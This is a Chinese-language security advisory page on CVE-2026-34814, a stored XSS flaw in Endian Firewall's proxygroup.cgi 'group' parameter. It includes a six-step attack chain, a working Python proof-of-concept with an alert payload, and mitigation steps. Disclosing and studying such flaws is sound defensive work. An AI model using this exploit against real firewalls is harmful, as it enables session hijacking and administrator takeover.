IPBUF安全漏洞报告
English
CVE-2026-34814 CVSS 6.4 中危

CVE-2026-34814 Endian Firewall存储型XSS漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34814
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Endian Firewall

相关标签

XSSStored XSSEndian FirewallWeb漏洞CVE-2026-34814跨站脚本

漏洞概述

Endian Firewall 3.3.25及之前版本存在存储型跨站脚本(XSS)漏洞。该漏洞源于/cgi-bin/proxygroup.cgi接口对group参数缺乏有效的过滤。攻击者可利用低权限账户注入恶意JavaScript代码,该代码会被持久化存储。当管理员或其他用户访问受影响的页面时,恶意脚本将在其浏览器环境中自动执行,从而导致会话劫持或进一步的控制权获取。

技术细节

该漏洞的成因是Endian Firewall在处理代理组配置请求时,未对用户提交的'group'参数进行严格的输入验证和HTML实体编码。攻击者首先需要拥有一个低权限的认证账户(PR:L)。随后,攻击者构造包含恶意JS脚本的HTTP POST请求发送至/cgi-bin/proxygroup.cgi。由于应用程序直接将未过滤的输入存储在后端,当具有高权限的管理员访问该管理界面查看代理组列表时,嵌入的脚本会被浏览器解析并执行。由于攻击向量为网络(AV:N)且无需用户交互(UI:N),该攻击具有较高的隐蔽性和即时性,攻击者可借此窃取管理员Cookie或执行管理操作。

攻击链分析

STEP 1
侦察与发现
攻击者识别目标为Endian Firewall,且版本低于或等于3.3.25。
STEP 2
获取认证
攻击者通过钓鱼或弱口令获取一个低权限用户的账户凭证(PR:L)。
STEP 3
注入Payload
攻击者向/cgi-bin/proxygroup.cgi发送特制的POST请求,在'group'参数中植入恶意JavaScript代码。
STEP 4
持久化存储
服务器接收并存储该恶意数据,未经过滤直接写入数据库或配置文件。
STEP 5
触发执行
当管理员或其他用户访问受影响的代理组管理页面时,浏览器加载并执行恶意脚本。
STEP 6
达成目标
攻击者窃取受害者的Session ID,接管账户权限,执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_xss(target_url, session_cookie): """ PoC for CVE-2026-34814: Stored XSS in Endian Firewall """ # The vulnerable endpoint url = f"{target_url}/cgi-bin/proxygroup.cgi" # Headers with authentication cookie headers = { "Cookie": f"SID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload injected via the 'group' parameter # Using a simple alert to demonstrate execution payload_data = { "group": "<img src=x onerror=alert('CVE-2026-34814')>", "action": "save" } try: # Send the malicious request response = requests.post(url, data=payload_data, headers=headers, verify=False) if response.status_code == 200: return "[+] Payload injected successfully. Check the admin page for XSS trigger." else: return f"[-] Request failed with status code: {response.status_code}" except Exception as e: return f"[-] An error occurred: {str(e)}" # Usage example # target = "http://192.168.1.1" # cookie = "attacker_session_id" # print(exploit_xss(target, cookie))

影响范围

Endian Firewall <= 3.3.25

防御指南

临时缓解措施
建议立即限制对防火墙管理界面的网络访问,仅通过VPN或受信任的内网IP进行管理。管理员在日常操作中应避免点击不明链接或查看可疑的配置项。在未升级补丁前,可临时在输入层面对group参数进行正则过滤,拦截<, >, ', "等特殊字符。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表